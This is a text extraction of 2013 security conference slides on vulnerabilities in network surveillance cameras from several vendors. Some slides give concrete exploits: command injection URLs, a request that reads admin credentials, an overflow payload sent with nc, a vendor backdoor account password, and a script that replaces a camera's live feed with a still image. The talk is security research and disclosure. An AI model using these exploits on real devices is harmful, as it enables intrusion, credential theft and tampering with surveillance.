120
Craig Heffner, Tactical Network Solutions Exploiting Surveillance Cameras Like a Hollywood Hacker Friday, July 12, 2013

US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

  • Upload
    john

  • View
    9

  • Download
    1

Embed Size (px)

DESCRIPTION

Surveillance

Citation preview

Page 1: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Craig Heffner, Tactical Network Solutions

Exploiting Surveillance CamerasLike a Hollywood Hacker

Friday, July 12, 2013

Page 2: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Introduction

✤ Embedded vulnerability analyst for Tactical Network Solutions

✤ Embedded Device Exploitation course instructor

✤ I do wireless stuff from time to time too

Friday, July 12, 2013

Page 3: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Objectives

✤ Analyze surveillance camera security

✤ Drop some 0-days

✤ Demo a true Hollywood-style hack

Friday, July 12, 2013

Page 4: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

D-Link DCS-7410

Friday, July 12, 2013

Page 5: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Lighttpd Access Rules

Friday, July 12, 2013

Page 6: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

What Isn’t in the Access Rules?

Friday, July 12, 2013

Page 7: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

rtpd.cgi

Friday, July 12, 2013

Page 8: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

eval($QUERY_STRING)

✤ http://192.168.1.101/cgi-bin/rtpd.cgi?action=stop

Friday, July 12, 2013

Page 9: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Friday, July 12, 2013

Page 10: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

The Exploit (No, Seriously...)

✤ http://192.168.1.101/cgi-bin/rtpd.cgi?reboot

Friday, July 12, 2013

Page 11: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Grabing Admin Creds

✤ /cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount

Friday, July 12, 2013

Page 12: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

pwned.

Friday, July 12, 2013

Page 13: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 14: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 15: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 16: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 17: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 18: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 19: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 20: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Shodan Dork

Friday, July 12, 2013

Page 21: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

CVE-2013-1599

✤ Disclosed by Core Security after talk submission

Friday, July 12, 2013

Page 22: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

WVC80N

Friday, July 12, 2013

Page 23: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

/img/snapshot.cgi

Friday, July 12, 2013

Page 24: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

/adm/ez.cgi

Friday, July 12, 2013

Page 25: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

strcpy(dest, QUERY_STRING)

Friday, July 12, 2013

Page 26: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Friday, July 12, 2013

Page 27: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

/img/snapshot.cgi?A*152

Friday, July 12, 2013

Page 28: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Where to Return?

Friday, July 12, 2013

Page 29: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Return to sub_9B88

✤ PAYLOAD=$(perl -e 'print "A"x148; print "\x88\x9B"')

✤ echo -ne "GET /img/snapshot.cgi?$PAYLOAD HTTP/1.0\r\n\r\n" | nc 192.168.1.100 80

Friday, July 12, 2013

Page 30: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

When Base64 Isn’t Base64

Friday, July 12, 2013

Page 31: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

BEST. USER GUIDE. EVER.

Friday, July 12, 2013

Page 32: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Decoded Config

Friday, July 12, 2013

Page 33: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

pwned.

Friday, July 12, 2013

Page 34: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 35: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Shodan Dorks

Friday, July 12, 2013

Page 36: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Cisco PVC-2300

Friday, July 12, 2013

Page 37: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

.htpasswd Protection

Friday, July 12, 2013

Page 38: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

/usr/local/www/oamp

Friday, July 12, 2013

Page 39: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

cgi_get_value(var_18, “action”)

Friday, July 12, 2013

Page 40: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Valid Actions

✤ downloadConfigurationFile

✤ uploadConfigurationFile

✤ updateFirmware

✤ loadFirmware

✤ ...

Friday, July 12, 2013

Page 41: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

getenv(“SESSIONID”)

Friday, July 12, 2013

Page 42: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

strcasecmp(“login”, action)

Friday, July 12, 2013

Page 43: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

cgi_get_value(var_10, “user”)

Friday, July 12, 2013

Page 44: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

cgi_get_value(var_10, “password”)

Friday, July 12, 2013

Page 45: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

PRO_GetStr(“OAMP”, “l1_usr”, ...)

Friday, July 12, 2013

Page 46: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

PRO_GetStr(“OAMP”, “l1_pwd”, ...)

Friday, July 12, 2013

Page 47: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

strcmp(user, l1_usr)

Friday, July 12, 2013

Page 48: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

strcmp(password, l1_pwd)

Friday, July 12, 2013

Page 49: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Where are l1_usr and l1_pwd?

Friday, July 12, 2013

Page 50: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Friday, July 12, 2013

Page 53: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

When Base64 Isn’t Base64

Friday, July 12, 2013

Page 54: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Non-Standard Key String

Friday, July 12, 2013

Page 55: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Decoded Config

Friday, July 12, 2013

Page 56: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

pwned.

Friday, July 12, 2013

Page 57: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

action=loadFirmware

Friday, July 12, 2013

Page 58: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Friday, July 12, 2013

Page 60: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 61: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Shodan Dork

Friday, July 12, 2013

Page 62: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

IQInvision IQ832N

Friday, July 12, 2013

Page 63: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Default Unauth Video Feed

Friday, July 12, 2013

Page 64: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Admin Area Password Protected

Friday, July 12, 2013

Page 65: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

oidtable.cgi

Friday, July 12, 2013

Page 66: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

strstr(QUERY_STRING, “grep=”)

Friday, July 12, 2013

Page 67: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

if(strlen(grep) < 32)

Friday, July 12, 2013

Page 68: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

sprintf(“grep -i ‘%s’...”)

Friday, July 12, 2013

Page 69: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

popen(“grep -i ‘%s’...”)

Friday, July 12, 2013

Page 70: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Friday, July 12, 2013

Page 71: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Command Injection

✤ http://192.168.1.101/oidtable.cgi?grep='$IFS/tmp/a;ps;'

✤ grep -i ‘’ /tmp/a;ps;’’ /tmp/oidtable.html

Friday, July 12, 2013

Page 72: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Retrieving Arbitrary Files

✤ http://192.168.1.101/oidtable.cgi?grep='$IFS/etc/privpasswd;'

✤ grep -i ‘’ /etc/privpasswd;’’ /tmp/oidtable.html

Friday, July 12, 2013

Page 73: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Encrypted Admin Password

Friday, July 12, 2013

Page 74: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Decrypted Admin Password

Friday, July 12, 2013

Page 75: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

pwned.

Friday, July 12, 2013

Page 76: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 77: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Shodan Dork

✤ jht

Friday, July 12, 2013

Page 78: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

3SVision N5071

Friday, July 12, 2013

Page 79: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Restricted Firmware Download

Friday, July 12, 2013

Page 80: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Friday, July 12, 2013

Page 81: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Use the Source, Luke

Friday, July 12, 2013

Page 82: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Literacy FTW

Friday, July 12, 2013

Page 83: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

/home/3s/bin

Friday, July 12, 2013

Page 84: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

pwdgrp_get_userinfo

Friday, July 12, 2013

Page 85: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Friday, July 12, 2013

Page 86: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Hardest. Exploit. Ever.

Friday, July 12, 2013

Page 87: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

pwned.

Friday, July 12, 2013

Page 88: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

pwned.

Friday, July 12, 2013

Page 89: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

pwned.

Friday, July 12, 2013

Page 90: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

do_records

Friday, July 12, 2013

Page 91: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

records.cgi?action=remove

Friday, July 12, 2013

Page 92: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

strstr(cgi_parameters, “&filename”)

Friday, July 12, 2013

Page 93: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

system(“rm /mnt/sd/media/%s”)

Friday, July 12, 2013

Page 94: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

pwned x2

✤ $ wget \ --user=3sadmin --password=27988303 \ 'http://192.168.1.101/records.cgi?\ action=remove&storage=sd&filename=`reboot`'

Friday, July 12, 2013

Page 95: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 96: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 97: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 98: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 99: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Also Affected

Friday, July 12, 2013

Page 100: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Shodan Dorks

Friday, July 12, 2013

Page 101: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

So Basically...

✤ I’m in your network.

✤ I can see you.

✤ And I’m root.

Friday, July 12, 2013

Page 102: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Let’s Turn This...

Friday, July 12, 2013

Page 103: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

...Into This.

Friday, July 12, 2013

Page 104: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Trendnet TV-IP410WN

Friday, July 12, 2013

Page 105: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Has a Backdoor Account

productmaker:ftvsbannedcode

Friday, July 12, 2013

Page 106: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

That Can Access These Files

Friday, July 12, 2013

Page 107: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Which Have Command Injection

Friday, July 12, 2013

Page 108: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

That Can Be Trivially Exploited

✤ http://192.168.1.101/cgi/maker/ptcmd.cgi?cmd=;ls

✤ system(“/sbin/ptctrl ;ls”)

Friday, July 12, 2013

Page 109: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

By Anyone, Anywhere

Friday, July 12, 2013

Page 110: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

What’s Old is New Again

✤ Vulnerability first published in 2011

✤ Report did not mention any specific devices

✤ Everyone ignored it...

Friday, July 12, 2013

Page 111: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Shodan Dork

Friday, July 12, 2013

Page 112: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Admin’s Video Feed

Friday, July 12, 2013

Page 113: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

mjpg.cgi

Friday, July 12, 2013

Page 114: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Killing mjpg.cgi

✤ http://192.168.1.101/cgi/maker/ptcmd.cgi?cmd=;kill$IFS-9$IFS379

Friday, July 12, 2013

Page 115: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Replacing mjpg.cgi

#!/bin/sh

echo -ne “HTTP/1.1 200 OK\r\n Content-Type: image/jpeg\r\n\r\n”

cat /tmp/static_img.jpg

Friday, July 12, 2013

Page 116: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Admin’s Video Feed

Friday, July 12, 2013

Page 117: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

What’s Really Happening

Friday, July 12, 2013

Page 118: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Demo Time!

Friday, July 12, 2013

Page 119: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Closing Thoughts

✤ Lots more bugs where these came from

✤ Cameras reveal their model number in the login prompt

✤ All exploits developed exclusively from firmware update files

✤ Binwalk + IDA + Qemu == WIN.

Friday, July 12, 2013

Page 120: US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Contact

[email protected]

✤ http://www.tacnetsol.com

✤ @devttys0

✤ http://www.devttys0.com/blog

Friday, July 12, 2013